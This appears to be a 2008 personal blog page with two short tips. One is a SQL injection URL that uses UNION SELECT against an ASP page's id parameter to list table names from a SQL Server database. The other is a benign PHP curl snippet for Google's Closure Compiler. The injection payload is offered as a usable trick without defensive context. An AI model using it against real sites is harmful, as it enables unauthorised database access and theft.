get table information from server

21. November 2008

http://........................../index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

 

this will return all table information from sql server


Author: Aamir Hasan     औथोर: आमिर हसन       أثر أمير حسن .

ALL, SQL 2005 & 2008, SQL Injection

Using Google.com Closure Compiler with PHP 5

16. November 2008

$script = file_get_contents('http://www.studentacad.com/scripts/script.js');
$ch = curl_init('http://closure-compiler.appspot.com/compile');

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'output_info=compiled_code&output_format=text&compilation_level=SIMPLE_OPTIMIZATIONS&js_code=' . urlencode($script));
$output = curl_exec($ch);
curl_close($ch);


Author: Aamir Hasan     औथोर: आमिर हसन       أثر أمير حسن .

ALL, PHP



User Name: Guest

Your Ip: 38.107.191.91
Time: